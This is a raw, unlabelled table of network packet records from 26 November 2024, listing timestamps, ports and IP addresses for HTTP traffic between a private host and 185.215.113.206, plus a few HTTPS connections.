Nov 26, 2024 10:09:34.545160055 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.545173883 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.545793056 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.545876026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.546020031 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.546092987 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.546818972 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.546902895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.546912909 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.547137976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.547499895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.547585011 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.547590017 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.547777891 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.548530102 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.548542976 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.548584938 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.549120903 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.549190044 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.549246073 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.549293041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.550013065 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.550071955 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.550116062 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.550165892 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.550688982 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.550766945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.550780058 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.550822020 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.551448107 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.551603079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.551620960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.552140951 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.552297115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.552369118 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.552412033 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.552561045 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.553268909 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.553356886 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.553447962 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.553494930 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.554169893 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.554248095 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.554318905 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.554898024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.554925919 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.554974079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.555643082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.555699110 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.555764914 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.555819035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.556497097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.556581974 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.556602955 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.556833029 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.557184935 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.557239056 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.557306051 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.557372093 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.558053970 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.558120012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.558166027 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.558223009 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.558851004 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.558945894 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.558954954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.558995962 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.559717894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.559788942 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.559896946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.559951067 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.560595989 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.560664892 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.560700893 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.560745955 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.561410904 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.561470985 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.561510086 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.561567068 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.562318087 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.562407970 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.562448978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.562537909 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.563301086 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.563322067 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.563396931 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.564100981 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.564182043 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.564244986 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.564389944 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.564985037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.565052032 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.565126896 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.565315008 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.565865993 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.565937996 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.565960884 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.566068888 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.566808939 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.566873074 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.566922903 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.567095995 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.567595959 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.567662954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.567709923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.568006039 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.568434954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.568569899 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.568624973 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.569354057 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.569437981 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.569475889 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.569608927 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.570173025 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.570310116 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.570333958 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.570384026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.571017981 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.571105003 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.571171999 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.571322918 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.571883917 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.571980953 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.572020054 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.572237968 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.653450966 CET	443	49846	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:34.653788090 CET	49846	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:34.653806925 CET	443	49846	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:34.654891968 CET	443	49846	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:34.654978037 CET	49846	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:34.656285048 CET	49846	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:34.656351089 CET	443	49846	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:34.656558037 CET	49846	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:34.699347973 CET	443	49846	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:34.719243050 CET	49846	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:34.719264030 CET	443	49846	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:34.719518900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.719595909 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.719603062 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.719671965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.719945908 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.719995022 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.720061064 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.720134020 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.721008062 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.721028090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.721091986 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.721738100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.721781969 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.721805096 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.721831083 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.722805023 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.722861052 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.722882032 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.723050117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.723526001 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.723608017 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.723747015 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.724395037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.724488974 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.724520922 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.724620104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.725260019 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.725353003 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.725472927 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.726053953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.726156950 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.726195097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.726375103 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.727194071 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.727235079 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.727365971 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.728063107 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.728121996 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.728156090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.728249073 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.728880882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.728980064 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.729098082 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.729921103 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.729979038 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.730014086 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.730068922 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.730824947 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.730875015 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.730930090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.731060982 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.731654882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.731698990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.731729984 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.731817961 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.732343912 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.732393980 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.732402086 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.732532978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.733021975 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.733067036 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.733099937 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.733206034 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.733660936 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.733704090 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.733753920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.733829975 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.734513044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.734594107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.734632015 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.734736919 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.735395908 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.735440016 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.735493898 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.735553026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.736428976 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.736471891 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.736676931 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.736785889 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.737458944 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.737530947 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.737643003 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.738199949 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.738245964 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.738390923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.738467932 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.739083052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.739130974 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.739262104 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.739310026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.739778996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.739836931 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.739869118 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.739913940 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.740658045 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.740705967 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.740817070 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.740859985 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.741498947 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.741544008 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.741609097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.741660118 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.742357016 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.742413044 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.742497921 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.742558956 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.743226051 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.743275881 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.743309021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.743396997 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.744263887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.744415045 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.744467974 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.744564056 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.745373011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.745420933 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.745476961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.745536089 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.746388912 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.746469975 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.746706963 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.746790886 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.747253895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.747299910 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.747328043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.747476101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.748163939 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.748215914 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.748296976 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.748358965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.749046087 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.749147892 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.749151945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.749310017 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.750020027 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.750157118 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.750360966 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.750992060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.751051903 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.751179934 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.751243114 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.751920938 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.752029896 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.752182007 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.752796888 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.752872944 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.752960920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.753020048 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.753709078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.753757954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.753854036 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.753906012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.754525900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.754594088 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.754594088 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.754757881 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.755454063 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.755510092 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.755523920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.755662918 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.756036043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.756078005 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.756088018 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.756127119 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.756633997 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.756719112 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.756946087 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.756983995 CET	443	49845	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:34.757174969 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.757348061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.757394075 CET	49845	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:34.757406950 CET	443	49845	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:34.757416964 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.758032084 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.758085966 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.758147955 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.758214951 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.758507013 CET	443	49845	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:34.758605957 CET	49845	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:34.758891106 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.759172916 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.759179115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.759280920 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.759783983 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.759869099 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.759870052 CET	49845	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:34.759872913 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.759953976 CET	443	49845	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:34.759996891 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.760060072 CET	49845	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:34.760066986 CET	443	49845	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:34.760090113 CET	49845	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:34.760191917 CET	443	49845	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:34.760668039 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.760734081 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.760886908 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.761495113 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.761596918 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.761600971 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.761717081 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.762396097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.762510061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.762559891 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.763351917 CET	80	49766	185.215.113.206	192.168.2.5
